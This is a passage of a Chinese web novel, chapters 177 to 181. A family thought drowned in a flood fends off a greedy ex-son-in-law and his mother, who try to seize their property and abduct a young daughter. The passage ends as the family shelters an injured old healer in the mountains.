“你说的是程家?”他难以置信瞪大眼,笔下没收稳,一道歪歪扭扭的划痕将整幅画毁了,跃然于纸上的美人图,不知何时换了主角,画面上美人眉心一点红不见了,取而代之的是一个粉面含笑的佳人。 佳人梳着单髻麻花辫,穿着简单朴素,也没用多余的发饰装点,却给人一种清丽不俗,即便没有花匠精心栽培,依旧可以在路边肆意生长,向阳而生的倔强顽强之感。 “程四娘……” 孟南洲喃喃出口,呼喊这个有些陌生,却有无比熟悉的名字。 孟母见儿子神态不对,垫脚往桌案前一瞧,不看不知道,一看吓一跳。 儿子不画冯知意,改画程四娘了? 还是没毁容的程四娘,画中人脸上的疤痕不见了。 “好马不吃回头草!”孟母一拳打在儿子肩膀上,“程四娘,你别想了,大梨村被淹了,她跟她几个短命哥哥,全淹死了。” 孟南洲瞳孔快速舒展,一瞬间耳畔像有轰鸣声响起,“死了?她死了?” 孟母为彻底打消儿子的念头,说得决绝:“死了,尸骨无存的那种,听明白了吗?你脑子被驴踢了,当初要和离的是你,现在搞这幅鬼样子给谁看?藏好你的心思,要是被隔壁院里知道,有得闹呢!” 孟南洲收敛情绪,快速收起桌上的画纸,团成一团丢进篓子里。 重新挺直腰杆,佯装镇定道:“娘你误会了,我没有后悔,事实证明我当初的选择是正确的,程家人福薄,只会耽误我的官运。” 孟母见他想通了,眉开眼笑道:“我儿是最聪明的,你明白其中厉害就好。” 孟南洲:“既然程家没成年男丁,小盼儿便不能再交给程家人照顾,我去把人接过来。” 说着,他快步走出门。 孟母紧跟其后:“儿啊,那丫头片子不是最要紧的,要紧的是程家的钱财和房契,娘好久没吃肉了,待会儿拿了银子,先去镇西给娘割两斤羊肉,解解馋。” 孟南洲脚步一顿,转头看他娘:“我乃正人君子,怎好人家刚出了事,就惦记别人家的房契和银子。” 孟母被他一本正经的眼神,看得无地自容,正懊悔自己心急,听到耳边声音继续道: “好歹等过了这阵子,官府确定程家人真的尸骨无存。” 孟母连连点头,还是儿子想得周到,里子面子全有了。 程家院中。 程母正在往排水管里疏通积水,程云正好跨过门槛,从外边回来。 “如何?”程母抓着他细问,“可是真淹了?” “真的跟小姑姑说的一样,云溪和灵水镇全淹了。”程云一路跑回来,身上的外衫全是泥点子,他走到水缸前,舀了一壶水,随意将脸颊溅上的泥渍擦洗干净。 赵氏怅然若失:“小姑的梦又应验了,她说官府会用云溪和灵水两个村镇泄洪,还真就对了,真乃神人啊!” 程云摆摆手:“还不止呢,我们村也被淹了。” “啊?你怎么不早说?” “什么?我们村也被淹了?” 两道高昂的声音响起,尖细又刺耳,充满不可思议的震惊。 孟南洲和孟母赶来时,刚好听到两妇人得知惨状,惊慌失措的现场。 孟母捂着帕子推开门,哭得那叫一个真情实感:“大妹子,我可怜的大妹子,白发人送黑发人,你以后的日子可怎么过哦?” 孟南洲紧随其后进来,青色长衫,比上一次见他清瘦不少,他拱手而立,行了个晚辈的礼:“岳母节哀,小婿闻听噩耗,心忧不已,特来为岳母解忧。” 程母和赵氏面面相觑。 什么情况?谁死了? 程母目光转向一旁同样一脸懵逼的程云身上,见他双手一摊,明显也是不知情的。 孟母见二人没反应,只以为对方伤心欲绝,一下子接受不了。 没关系,事实已定,再不能接受,人死不能复生。 “大妹子,我是过来人,当年南洲他爹去世,我也伤心难过好一阵,但人活着要向前看,你瞧,虽然从前儿女闹过矛盾,但如今你儿子女儿丈夫全被洪水淹死了,南洲这个当女婿的半个儿,不就顶上用场了。” 孟母说得兴奋,忍了好久才没直接说:反正你家男人死绝了,赶紧把银子和地契交出来,我家若高兴,愿意赏程四娘他们几幅薄皮棺材,如若不然,现在就给我收拾东西滚蛋! 孟南洲比孟母神情更能藏得住,往那一站,还是那副谦谦公子的模样,打量着程家的院子,惋惜道:“哎,院子挺大的,若是当初四娘和兄长们没有回乡下,也不会遇上无妄之灾。” 他是真的惋惜程四娘的去世,心里惴惴的不舒服,若是她活着,还能看到他功成名就的那一日,届时将她养作外室也不是不行。 小盼儿毕竟是他的女儿,他做不到让她喊别的男人叫爹,更无法想象有朝一日,程四娘会改嫁。 “谁告诉你们我女儿,儿子死了的?” 第一百七十七章 孟母落井下石 程母面色不善,恨不得把眼前人的嘴缝上。 孟母笑道:“你没听说啊,官府泄洪,把洪水全引到大梨村了,那么大的洪水,人能活?神仙来了也活不了!” 赵氏看明白了,这母女二人是见听她们家没男人了,跑过来争家产的,她呸了一口:“就算你说的是真的,我二叔呢,他可没回大梨村。” 提起程二顺,孟母笑得更欢了。 “程二顺?哎呦,你们不知道啊,此次应征的士兵都是送去前线抗洪的,十个里面活不下来一个。” 程母从不是任人欺辱的软柿子,上前直接松手,推着孟母直往后退:“满嘴喷粪,再敢从你嘴里听到什么死啊活的,我立刻用茅房里的屎,那你嘴糊上!” 孟母被逼到门口,一手抓住门把死活不肯松开:“我好心好意来帮忙,你不感恩,还把我赶出门,本想给你留两分颜面,现如今不必了。根据我朝律法,和离之后,夫妻双方有一人去世,子女的监护权利自动归另一方,把小盼儿交出来,我们要带她走!” 程母一口浓痰吐在她脸上:“做你的春秋大梦!盼儿是我孙女。” 当初放任小盼儿生病不闻不问的人,如今来抢人,其中没有猫腻,说出去谁信? 孟南洲:“岳母,大梨村如今被淹,往日的亲族死伤无数,你们几个妇人还要养活这么多孩子,我娘也是想为你减轻烦扰。” 孟母忙道:“没错没错,我就是这个意思,我是好心的。” 死老太婆往日嚣张,不就仗着祖祖辈辈生活在大梨村,村里族人无数,筋连着筋,说话办事有人撑腰。 现在好了,大梨村全军覆没,唯一剩下的儿子抗洪生死未卜,等二儿子死讯传来,她儿子就是名正言顺的程家遗产继承人,至少可以得到三分之一的遗产。 届时再以程云和程君两个少年年纪小为由,将资产交给儿子打理,用不了几年,程家所有东西都得姓孟。 两家人推搡之际,屋外突然响起官府的传信声。 声音从榴花巷巷口开始,伴随着敲击锣鼓的嗡鸣。 锣声刺耳破阴气,只有溺毙、自缢等横死者报丧,才会用到。 很快,随着锣鼓敲击,巷子里传来悲痛的哭声。 “我的儿,我的儿啊!让你别去参军,你非得去,你让爹娘以后怎么活啊!” 孟母听着耳熟:“是老张家,他儿子也被派去堵河道了。” 孟南洲喃喃道:“看来是河道死了人,官府的人来报信的。” 孟母神色大喜,瞌睡来了送枕头,刚想说:程二顺死没死马上就知道了。 结果被矫健的程母,撞翻身体,转身一瞧,人已经冲到队伍前列。 程母在临近敲锣队伍前,踌躇不敢上前。 几个孩子里,她最担心的就是二儿子。 老头子和儿女们躲在鹿山,洪水淹不到他们,可二儿子不一样,他是实打实用身体抵抗洪灾去了。 为的什么,程家人都知道。 张家门前有具尸体,泡得面色清白,依稀可见从前的影子。 程母看到腿都软了。 “官、官爷……”程母挡在队伍前面,不进不退,张不了口,也闭不了嘴,像是被施了定身法术,耳畔盘绕着老张媳妇撕心裂肺的哭喊,她不敢问。 “劳烦官爷,程二顺在不在死者名单里。” 一道熟悉的女声打破僵局。 程母仿佛能听到自己转头时,脖根“咔滋咔滋”的声音,不远处立在台阶上的女人,神色平静,好像即将宣判生死的不是她的丈夫,而是个无关紧要的路人。 报信的官差,扫了眼名单:“程二顺……没有尸体。” 程母大大地松了口气,脸上的笑容没来得及展开,接下来的一句话差点要了她半条命。 “但他在失踪人员名单里,被洪水卷走了,生死未卜。”官差同情地看了程母一眼,“节哀啊大娘。” 被洪水卷走,还有生还的可能吗? 微乎其微了。 程母受不了刺激,往后一撅,要不是有赵氏扶着,整个人就躺在地上了。 “我的儿……我的二顺啊!” 程母以头抢地,哭得凄惨,让人动容。 张氏一看隔壁人家连尸首都没寻回来,她们家不是最惨的,悲伤之中不忘劝导几句,带着儿子尸体回家处置了。 官府的人拿出抚恤银子,斟酌着,最后走向在场唯一镇定的妇人面前:“这是二十两银子,官府下发的抚恤金,日后每年都能去府衙领取二两银子,一直到程二顺名下的儿女长大成人,您……接着吧。” 面前女子气质不俗,对比得上早已仪态全无的程母,她的表情称得上冷漠,目光无神,人站在这里,魂却不知飘到何处去了。 若不是知道是一家人,官兵还以为死者跟眼前人不熟。 “你是程二顺的……” “妻,我是他的妻。”顾寒栀开口道。 官兵将银子递上前,程二顺是条汉子,洪水来时救了不少人的命,包括他认识的几个兄弟,多少都得到过他的帮助。 那人脑子好使,加上身形高大,是个当兵的好料,若是没死的话,没准还能立个小功。 可惜…… “二顺兄弟对我们颇为照顾,日后嫂子家里有什么困难,只管到衙门寻我们,能帮忙的我们都会帮。”官兵说完不敢再停留,只等人接了银子,他们好向下一家报信。 “我不要银子。” 官兵一愣:“啊?” “看不见尸体,我不要银子。”顾寒栀嗓音很淡,像是在说一件极寻常的事。 四下寂静一瞬,躺在地上的程母突然冲上前,枯瘦的手指几乎戳到顾寒栀脸上。 “你这没心肝的东西!我儿尸骨未寒,你连哭都不哭一声!他若不是为了给你脱籍,何至于去填那鬼堤!” 程母的嗓音尖厉,像是要把屋顶掀翻。 顾寒栀站着没动,连睫毛都没颤一下。 官兵尴尬地搓搓手,叹气道:“洪水太急,现在还不知道二顺兄弟的尸身被冲到什么地方去了,衙门已经派人加急搜寻,一有消息我马上通知你,银子你就收了吧。” “我说了,我不要。”顾寒栀终于抬眼,目光平静得像是一潭死水,“他走时答应过我,会回来。” 程母又是一阵哀嚎,趴在赵氏肩头,哭得不能自已。 官兵手足无措,最后是武氏接过抚恤银,进屋前路过顾寒栀身边,扬声道:“害人害己,你若安分守己认命,二哥能去拼命吗?” 与君将母亲护在身后,与华一把推开武氏:“走开,不许欺负我娘。” “罪奴生的小贱奴,你敢推我?说到底你们不过是我程家的奴隶,我是主子,有随时发卖你们的权利。”武氏一向看不惯顾寒栀,从前程二顺护着,她不好说什么,勉强当一家人看,现在情况不一样了,程二顺的死跟她有脱不开的关系,就算她不找顾寒栀的麻烦,程母还能轻易放了她? 与华被武氏揪住衣领,反抗下手指划伤她的手背,武氏痛呼一声松开手,下意识就想甩与华一巴掌。 巴掌没落下,被程云拦下:“三婶,你做什么?二叔生死未卜,你就想欺负她们孤儿寡母了?外头的人看着呢,三婶的名声不想要了?” 武春来悻悻收回手,话是冲程云说的,眼睛却瞥向顾寒栀:“小云啊,什么生死未卜啊,你二叔被洪水冲走,哪还能活下来,咱们快去镇西采买蜡烛纸钱吧,死的人多,没准纸钱要涨价呢!” 她掂了掂手上沉甸甸的抚恤银,心里盘算该怎么扣出一点用在她们这房身上,走路时也没看脚下。 突然伸出来一只脚。 “扑通!”一声。 “哎呦。” 台阶不低,武春来脸朝下摔在地上,疼得到抽凉气。 钱袋子洒落在地,走过来一双灰白布鞋,来人步履轻盈,像是受过良好教育,矩形规步,紧接着一双素白的手,捡起地上的钱袋子。 武春来感觉头顶上空飘来一阵极淡的嗓音:“我说了,这钱,谁也不许拿。” “顾寒栀,你……”武春来从地上爬起来,想指着对方的鼻子骂,结果对上顾寒栀的眼睛,所有的话噎在嗓子眼,喉咙里像塞了把雪,又冷又涩,咽不下去,吐不出来。 那是一双不像活人的眼睛,倒像是两把淬了冰的刀,冷而利,剜过来时,连空气都凝住。 她的眼神太静了,静得让人发毛。 不是愤怒,不是怨恨,而是一种近乎死寂的冷,仿佛她再多说一个字,顾寒栀就能用目光把她钉死在地上。 武春来闭上嘴,甚至不自觉往后退了半步。 连孟母也被影响,冲儿子耳语:“现在不是要地契的好时候,等顾二顺的尸体打捞上来,咱们再来,到时候看她们怎么狡辩。” 孟南洲:“盼儿怎么办?她现在该归我抚养。” 孟母凝眉望着他:“你还真想要那丫头片子,那不过是我方才的权宜之计。” “她是我女儿,自然得跟着我。” 上回他想假装偶遇程四娘时,看到女儿,盼儿被养得圆润不少,模样比原先讨喜了,眉眼之间像程四娘,更像他。 那一刻,不知是不是血缘的牵引,他不自觉地想亲近她。 孟南洲想,这或许就是父女连心吧。 孟母不耐烦地摆手:“随你吧,左右多一张嘴吃饭,长大了还能帮忙干点活。趁这会儿程家乱糟糟,去后头把人偷过来。” 母子两的身影,神不知鬼不觉消失在人群中。 程母被扶进了屋,捂着胸口捶胸顿足,还不忘喊来程云。 “去给你小姑他们报信,说你二叔被洪水卷走了,让她们一定好好找,我不信我儿福薄,他一定还活着!” 程云看阿奶伤心,同样哭得眼眶红肿:“好,我这就去,阿奶你别哭,小心身体。” 赵氏担忧地叮嘱儿子:“外头洪水还没散,你出门当心,找到你小姑紧着跟,别再跟从前一样逞强。” “知道了,娘。” 程云离开,程母刚想躺下,突然脑海中警铃大响,她立刻弹起身:“盼儿呢?我乖孙女呢?” 第一百七十八章 厄运专找苦命人 刚才人多,她被儿子的事刺激到,一时忘了女儿的交代,她承诺过,会把小盼儿系在裤腰带上的。 赵氏:“或许在后院玩,娘你别急,我去看看。” “快去,快去。” 赵氏去后院找了一圈,家里几个孩子都在,唯独没有小盼儿的影子。 问了珍珠、金玉,都说刚在还在,一眨眼功夫不见了。 后院有个小门,平日里都关着,现在不知被谁从外头撬开,锁头掉在地上,小门大开着,地上有杂乱无章的脚印。 赵氏心中暗道不好,立刻把小盼儿丢了的消息告知家里人。 程母闻言,一时间双重打击,几乎要将这个六旬老人打到。 “我的盼儿……我的盼儿啊!”程母瘫坐在门槛上,十指深深陷入掌心里,却感觉不到疼,“我答应过四娘的……” 她声音沙哑得像是被砂石磨过,“我答应她……会照顾好盼儿的……” 程母发了疯冲出房门,眼泪流干了,只剩下一双红肿的眼。 “阿奶,你看盼儿穿这件好看吗?” “阿奶,你身上香香的,小盼儿最喜欢跟阿奶一起睡觉觉了。” 稚童清脆的叫声,仿佛还在耳边回荡,但院中再也看不到小人儿的身影。 赵氏看得心惊,生怕婆母受不了刺激会疯掉,紧跟在身后,却又不敢碰她,老太太浑身发抖,像是随时要散架。 可家里也要她照应,指望武氏这个吃闲饭的是不可能的,赵氏恨此刻没有三头六臂。 “你去照顾娘,家里我来照应。”顾寒栀开了口,“与君与华,你们跟着一起去找盼儿,路上注意安全,找到人立马带回来。” “好的娘。” “知道了,娘。” 武氏搂着两个女儿,道:“我……我看家,外头乱,珍珠、金玉都是女孩子,也都还小,不能出去。” 小少年阿盼:“我也去,我对周围熟。” 这两天他已经将周围摸遍了,哪个地方能藏人,哪个地方能抄小道走得最快,他门儿清。 赵氏冲顾寒栀点点头,急忙跟上程母的身影。 “盼儿……盼儿……” 程母的呼喊声在巷子里响起。 苏家听到动静,忙出来,一听孩子丢了,赶紧丢下手里的活儿,挨家挨户询问起来。 “看到老程家孙女了吗?小姑娘,五六岁,这么高……” “今天穿的是碎花小袄子,脚上一双粉色布鞋……” 巷子里的邻居纷纷站在自家门前,有人道:“难道是拍花子,趁洪灾进来偷小孩了?” “会不会是孩子自己跑出去的,造孽,外头洪水还没散,要是被卷走了怎么办?” “听说程家刚死了个当兵的儿子,女儿和其他两个儿子住在大梨村没回来,大梨村你知道吗?这次被泄洪的三个村镇中的一个。” “啊?天爷啊,麻绳专挑细处断,厄运专找苦命人哦!” 程母一边哭,一边跑,干涸的喉咙里挤出破碎的呜咽,“我怎么忘了牵紧她的手……四娘要是知道……四娘要是……” 话没说完,在一个巷子口,她猛地弯下腰,整个人佝偻着蜷缩起来,喉管里似有刀片在割,一瞬间,程母感觉自己失去活下去的希望。 “阿奶?” 一道稚嫩的童声,突然在程母耳畔炸开。 第一百七十九章趁机泄私愤 她以为又是自己出现的幻觉,程母肩膀剧烈耸动,不敢抬头看,生怕一抬头,眼前一片虚无,又是她的错觉。 “阿奶,你怎么了?” 耳畔的童声还在继续,是她的心肝肝在说话,即便是错觉,心肝肝也在担心阿奶的身体,她的乖孩子,她的乖盼儿啊! 赵氏没想到有一天比跑步,她会比不过一个快六旬的老人,她追在后头累得气喘吁吁:“娘,你等等我……” 转过巷子口,好不容易看到程母的身影,刚想说话,突然看到对面站着的小姑娘。 不是小盼儿是谁? 赵氏惊喜不已,一时间满眼含泪。 小姑之前说过,她做了梦,小盼儿丢了,婆母为了找她,被洪水卷走了,就在刚刚,她几乎以为噩梦要降临了。 还好,老天保佑,老天保佑! “小盼儿!”赵氏冲上前,一把将人抱在怀里,确定眼前人热乎乎的身体,不是她精神紧张出现的幻影,“你去哪儿了?” 程母这才意识到,孙女是真的出现了,她早就红肿的眼,还是留下激动的泪,整个人瘫坐在地上,又哭又笑,这下真跟疯了一样。 小盼儿懵懂地眨眨眼,阿奶怎么了? 赵氏:“盼儿,你还没跟伯母说,你去哪儿了?是不是有人带你出来的。” 提到这儿,小盼儿颇为得意地将赵氏拉去看她的战利品。 赵氏不明所以,跟着走到巷尾拐角处。 这是一处死角位置,一般居民不常来,此时巷子里横七竖八躺着两个人,正捂着眼睛,一脸痛苦地打滚。 不是孟母和孟南洲是谁! “他们想偷走我,还好我有娘给我的宝贝。”小盼儿得意地掏出防狼喷雾,冲着孟南洲意欲睁开的眼睛,“滋啦”又是一下。 “啊啊啊!我的眼睛,我的眼睛!” 赵氏看得后槽牙一酸,孟南洲的眼睛肿得比核桃还要大。 孟南洲气得要发疯:“孟盼儿,我可是你爹,你忤逆不孝,你是要弑父啊!” 小姑娘哪知道忤逆不孝,弑父,是什么意思,她抓到男人话里的漏洞,反驳道:“你不是我爹,而且,我的名字是程盼儿,才不是孟盼儿!哼,我娘说了,我可以当我爹死了!” 孟南洲踉踉跄跄扶墙站起身,结果根本分不清方向,指着一旁散落的破败砖瓦,骂道:“不孝女,你个不孝女,我今天就要大义灭亲,好好惩治你!” 躺在地上的孟母,在一旁高喊:“小畜生,跟你娘一样的小贱种,你敢伤我,我就应该在你出生那日,把你掐死,儿啊,揍她,给我狠狠揍她!” 赵氏捂住小盼儿的耳朵,不让污言秽语污染孩子的心灵。 “还想打人?偷我们家孩子,我还没跟你算账呢!”赵氏不擅长撒泼,可她婆母擅长啊,她立刻大喊,“娘!” 孟母好不容易搓开眼,看到一丁半点亮光,眯着眼的缝隙中就看到一个头发凌乱的疯婆子,手拿捣衣棍朝她方向飞奔而来。 “贼婆娘,受死吧。” “铛铛铛,砰砰砰。” 数下木头砸在肉上的声音,在巷尾此起彼伏。 哀嚎声紧跟其后,在四下传来,吸引来更多的人。 这下孟家人偷孩子的事,榴花巷人尽皆知了。 没人上前帮忙,不告而取视为偷,换做今天在场所有人,遇到程家丢孩子的情况,只会打得更重。 大伙儿嘴上说着:“程老太太,打两下得了,别弄出人命。” “他们知道错了,以后大伙儿会帮忙盯着的,再也孩子丢了,就找孟家人算账。” “哎呦,都流鼻血了,够了够了。” 实则心里恨不得打得越重越好。 孟母在巷子里一向不受待见,仗着儿子是举人老爷,得罪过不少人,还问不少人家借过米粮木炭,只说借,也不说什么时候还。 大伙儿敢怒不敢言,今天有机会教训母子二人,众人乐享其成,甚至有人乘机朝他们丢石子。 石头砸到孟南洲脑袋上,立时破了口子,流出鲜血,糊了满脸。 “住手!都给我住手!”孟思静赶到时,现场一片混乱,她好不容易挤到人群最前头,捂住脸用身体挡住乱飞的碎石,威胁道,“我哥可是举人!见官不跪,视同准官员。你们敢殴打举人,不怕吃官司吗?是谁丢的石头,站出来!” 众人纷纷把手藏在身后,手里的石头“啪嗒”滚在地上,脚一踢,没了踪影。 大伙儿面面相觑,全部装死。 “现在当缩头乌龟了,刚才不是挺勇的吗?”孟思静从没觉得像今天这般狼狈过,虽说被打的不是她,可哥哥一直是她的脸面,这些人殴打她哥,跟打她的脸有何区别? 程母将捣衣棍往地上一丢,叉腰呵斥道:“我打的,怎么了?要抓我去见官?好啊,来,现在就去!我倒要问问官老爷,青天白日偷孩子,我们大盛的考场出来的就是孟南洲这种偷摸之辈吗?” 孟母被打得鼻青脸肿,不忘反驳:“那贱种本就是我家的,谁偷了?少放屁!” 孟南洲见母亲狼狈,便知此刻他也好不到哪儿去,立马用袖子捂面:“我带我自己的孩子回家,怎么能算偷?” 小盼儿反驳:“就是偷!我不愿意跟你们走,你们就捂住我的嘴,不让我出声,还有我的手,被拉得好疼。” 她是个极聪明的孩子,知道此刻最重要的不是证明谁对谁错,而是要让邻居心疼她,只要大伙儿心疼她,哪怕阿奶打了孟南洲是错,也会因为顾忌名声,人多不好追究。 小姑娘撸起衣袖,将胳膊上两道明晃晃的勒痕展露人前。 盼儿生得白,细皮嫩肉的,一有伤,色差立马非常明显,哪怕不严重,也会显得触目惊心。 苏阿花心疼地弯腰给她吹气:“好孩子,你受苦了,这样没良心的畜生爹,离开他是你的福报。” 众人一向是怜惜弱者的,纷纷指责起孟家有错在先,程母护孙心切,情有可原。 孟母却不想轻易放过程家人:“呸,儿啊,你说,殴打举人什么罪名。” 孟南洲此刻对女儿彻底失望了,果然不是从小亲近的孩子,强行养在身边没准会彼此生怨。 孩子弄伤眼睛的事,他可以不追究,说出去没得被人笑掉大牙。 但程母打人,非追究不可。 “殴打举人徒三年,见血杖一百。”孟南洲声音冷得像冰川底的寒潭,“恭喜你,全占了。” 第一百八十章 犯我者,三巴掌 程母手心发颤,她承认刚才冲动了,有泄愤情绪在里头,可再让她选一次,她还是会毫不犹豫地锤死这对狗母子。 想伤害她的家人,做梦! 孟思静得意极了,终于疏了口恶气:“等什么呢,报官吧!” 孟母眼珠一转,此时当起好人来了,“怎么说从前也是一家人,大妹子,我也不想见你受苦,不若这样,你赔偿我们母子点医药费,再跪下磕三个响头,此事作罢也行。” 赵氏拦住想说话的程母:“头我可以代我娘磕,医药费你要多少?” 孟母扯着嘴角想笑,不小心动了伤口,龇牙咧嘴,好不容易攒起来的气势荡然无存,她直接狮子大开口:“我要你家的地契,还有一百两银子。” 她估算过,程四娘买了房子,剩下的银子不会多,她特地往高了报。 “我家没有这么多银子。” 孟思静笑道:“没有可以卖身啊,你家反正孩子多,少几张嘴吃饭,压力还小点,或者直接让程云和程与君到我家当下人,一个人十两银子,够意思吧。” 孟南洲嗤笑道:“妹妹,程与君是罪奴生的孩子,十两银子太多了,最多五两,购买他整个人了。” 孟思静一锤脑袋,扬声道:“我怎么把这事忘了,大伙儿还不知道吧,程家老二娶了流放的罪奴,谁知道她家人因为什么获得罪,没准是通敌叛国、杀人放火的大罪!” 顾寒栀的事,是程家秘密,非自家人不得知,孟思静此时能戳他们的痛处,无外乎当初孟南洲入赘程家,程家人信任他,没想到如今被背刺一刀。 围观街里街坊虽有些吃惊,到底是人家的家事。 没有法律规定,罪奴不能跟良民通婚,只是大多数情况下,大家不愿意接触罪奴,遑论通婚。 苏阿花翻了翻白眼:“现在说的是你们偷东西的事,扯别家孩子做什么?” “对啊,孟举人,你娘张口就要人家全部家底,你妹妹还让程家孩子为奴为婢,孔圣人就是这么教你为人处世的?” “我可听说了,你从前给程家当过六年赘婿,没有程家别说考举人,你们一家连温饱都成问题。怎么着,恩将仇报啊,见人家无儿女没丈夫撑腰,你落井下石,想吞家产啊?” 苏阿花计上心头,高声道:“可不就是吞家产吗?那会儿程二顺失踪的消息没传回,我听见孟母站在程家门前,说赘婿是半个儿,要为丧生洪水的程家兄妹摔罐挂帆呢!这不是存心咒程老太断子绝孙吗?” 孟母恨不得撕了苏阿花的嘴。 “程家儿女死绝了,两个孙子又没成年,女婿算半个儿,我哪句话说得不对?二房大罪奴带两小罪奴,三房生了两丫头片子,都没有分家产的资格,顶多……分点给大房。”孟母一副慷慨万分的模样。 孟思静还嫌搜刮得不够:“先说好,我哥操持丧仪,肯定劳心劳力,出了力就不能出钱了,丧礼的一应花销都从大房里扣……” 孟南洲、孟母包括孟思静自己,都觉得这番话有理有据,无可指摘。 “啪啪啪!” 三道响亮的掌声自众人身后响起。 所有人猛地回头,孟家母子三人像被掐住脖子的鸡,张着嘴,却发不出声。 斜倚在墙角的女子,一袭灰白素衣,鬓边没有任何装饰,发髻婠得简单,她好像偏爱这种适合劳作的单边麻花造型。 站在她身旁的两个男人,一个年轻一个少年感满满,脸上表情不一。 年轻那个姿容俊朗,眼神讥诮,少年却满脸怒容,恨不得把孟家母子吃了。 “可真热闹啊。”程诺轻笑,嗓音像浸了冰的蜜,甜得瘆人,“我尸骨未寒,孟南洲,你跟你娘和妹妹就急着把我家的东西……变成你们的了?” 孟母一连往后退了数步,脸色煞白如纸。 孟南洲不可思议望向缓步走来的女子,布鞋稳稳踩在地面上,每一步都像踩在众人心尖上。 “怎么不继续了?”她歪头,眼底浮着讥诮的光,“方才谁让我们家阿云卖身的?” 程云冲上前,怒指孟思静:“是她!” 程诺走近,个头比孟思静高整个,程家人普遍长得高,光在气势上就碾压孟思静。 她揪住孟思静鬓边的碎发,在手指上缠绕两圈,似在把玩,却在孟思静想要说话的瞬间,猛地收紧向下一拽,碎发悉数落进程诺指缝间。 “啊!” 孟思静痛呼出声,没来及反应,头顶又被人猛地扯住,整个人往后倒仰,疼得她头皮发麻。 “娘,哥,救我!” “救你?他们敢吗?”程诺唇瓣微扬,“我可是特意从阎王殿爬回来找你的。” 阴冷的嗓音,配上她可怖的神色,孟思静彻底吓傻了。 孟母声音微颤:“程四娘,别装神弄鬼的,你吓她做什么?她只是个孩子。” “孩子?”程诺笑得不能自已,“你的孩子如珠似宝,视别人的孩子命如草芥?既如此,你管不好孩子,我替你管。” “啪”的一声。 孟思静的左脸被扇歪了,耳畔轰鸣,许久才听见程诺的声音。 “这一巴掌,打你痴心妄想,惦记别人家的东西。” 又一巴掌,孟思静右脸扇肿了。 “这一巴掌,打你忘恩负义,丢条肉,狗下次见了还会冲我摇尾巴,程家养你们六年,你落井下石趁火打劫?” “呜呜呜……”孟思静两边的脸以同样的速度肿胀起来,远远看上去像是头猪,可知程诺用了多大的力气,偏偏她还没有住手的打算。 果然,又一个响亮的巴掌落了下来。 众人等了半天,没等来打第三个巴掌的原因。 程诺也不知道说什么,冲程云招招手:“小云,你来说,第三巴掌为什么要打?” 程云思索片刻,义正言辞道:“第三巴掌,打你欺凌弱小,想卖我?你被卖了我都活得好好的!” 程诺提溜着早懵掉的孟思静:“听见没,三巴掌记好了,下次再敢犯我手上,不是三巴掌,而是三刀。” “程四娘,你不要太过分……”孟南洲话还没说完,被程诺一记眼刀射过来,差点射成筛子。 “听说你要送我娘去见官?还让她下跪?” 孟南洲咽了咽口水,方才的口若悬河,气定神闲,此时看上去像是泄了气的皮球,萎了。 人群中有眼力见的,立马出来搭梯子给台阶:“没有的事,开玩笑开玩笑。” 事情闹大对谁都不好,到头来没准连累他们这些看热闹的,毕竟方才他们中不少人也朝孟家母子丢过石头。 “大事化小,小事化了吧,大家各退一步,和气生财、和气生财。” “是啊,衙门现在忙得焦头烂额,哪有闲心管你们的家长里短,算了吧算了吧。” 孟母扶着几近毁容的孟思静,别提多不甘心,可程诺太恐怖了,她像个罗刹,像个从地狱里爬来的鬼。 洪水都淹不死她,不是鬼是什么? 孟南洲今天脸算丢尽了,恨不得直接捂脸离开现场。 母女三人在众人的起哄声中落荒而逃,这一幕跟当初孟南洲被休弃时,大梨村村民的反应如出一辙。 人群散得差不多,程家人终于将程诺围在中间,仔细打量,确定毫发无损,才问:“村民们如何了?” “挺好的,除了不肯搬走的几家,都活着,爹和哥哥们都很好。” 程母:“那你二哥呢?有消息吗?” 程诺摇头。 十七解释道:“二顺兄在飞虹渡抗洪,被洪水卷走,应该首先会流到大梨村方向,我们派人找到了,没找到。” 程母神色悲戚。 程诺安慰道:“娘,你换个思路想,没找到不见得是坏事,说不定哥半路上得救了。” “真的吗?真的还有生还的可能吗?”程母眼睛亮起一丝希望的微光。 “有的,是有人活下来的。” 程母得到程诺的再三保证,这才松了口气。 送家人回去后,程诺好好夸赞了小盼儿,交代几句后,立马跟十七还有程云再回鹿山,那里还有很多事情等着他们去处理。 第一百八十一章 开胸做手术 洪水褪去的山脚,像是被巨兽啃食过的残骸。 本就因寒冬凋敝的树木,如今只剩歪斜的树干,树皮被撕扯得支离破碎,露出惨白的木质。 淤泥裹着断枝,在低洼处堆成小丘,不知谁家葬在山脚下的坟冢,上头的堆土被洪水席卷带走,只剩下竖立的碑帖。 空气中弥漫着腥气,混着泥沙的土腥,让人不适。 程诺几人踩着湿滑的泥地前行,鞋底不时陷进松软淤泥里,发出“噗嗤”响声,期间数次差点摔倒,全靠队友相互搀扶。 “小心些,别踩空。”十七边走边叮嘱。 上山的路比下山更困难。 就在这时,程诺脚步突然一顿。 前方一棵半倒的松树下,压着个青灰色的身影。 “你们别动,我去看看。”程诺道。 程诺走近,是个老者,衣衫上满是泥浆污浊不堪,右腿被树干压着,苍白的脸上头发乱散,看不清长相。 程诺蹲下身,指尖探向老者脖颈:“还活着。” 老者的眼睫突然颤了颤,缓缓睁开眼,浑浊的瞳孔在看清来人时,竟浮现一丝极淡的笑意:“是小恩公啊!” 他气若游丝吐出几个字,随即又昏了过去。 没等程诺弄清他口中“恩公”的意思,一阵风吹来,吹开他脸颊上散乱的发丝。 竟然是个熟人。 是那个会预测天象,结果半点不灵验的神棍。 程诺记得当初就是因为他给的救命药丸,程三虎摔伤的腿才保住的。 “认识?”十七走上前,“要抬回营地吗?” 程诺点点头:“有过一面之交,山下危险,时常有野兽出没,放他一人在此,必死无疑,带走吧。” 不知过了多久,老者意识逐渐清晰时,察觉到被救了。 身上潮湿的衣物换成干净麻布,腿上的伤被人医治过,只是手艺差强人意,老者颇嫌弃地看着上头刚敷好的草药,抬手扒拉下来。 程诺一进来,看到好不容易找到的草药被糟蹋,心疼得在滴血:“你干什么?这个档口,想在山上找能用的草药,很难的。” 老者鼻尖轻哼,“对你们来说是挺难的。”动作不停,三两下将药草抖落得干干净净。 “你腿受伤了,不敷草药好不了。”程诺叉腰,一脸凶狠模样,“再不遵医嘱,把你丢下山,信不信?” “你不会的,”老人老顽童似的冲她眨眨眼,随即熟练地使唤起来,“小丫头,去给我找两根一尺长的木棍,如果有白芷,或者川乌,给我带些来。” 何大夫听说辛苦给病人敷的草药,被患者毁了,以为又是哪个不听话小娃,气冲冲钻进窝棚,结果看到一花甲老者一脸嫌弃地捏着他的草药细闻。 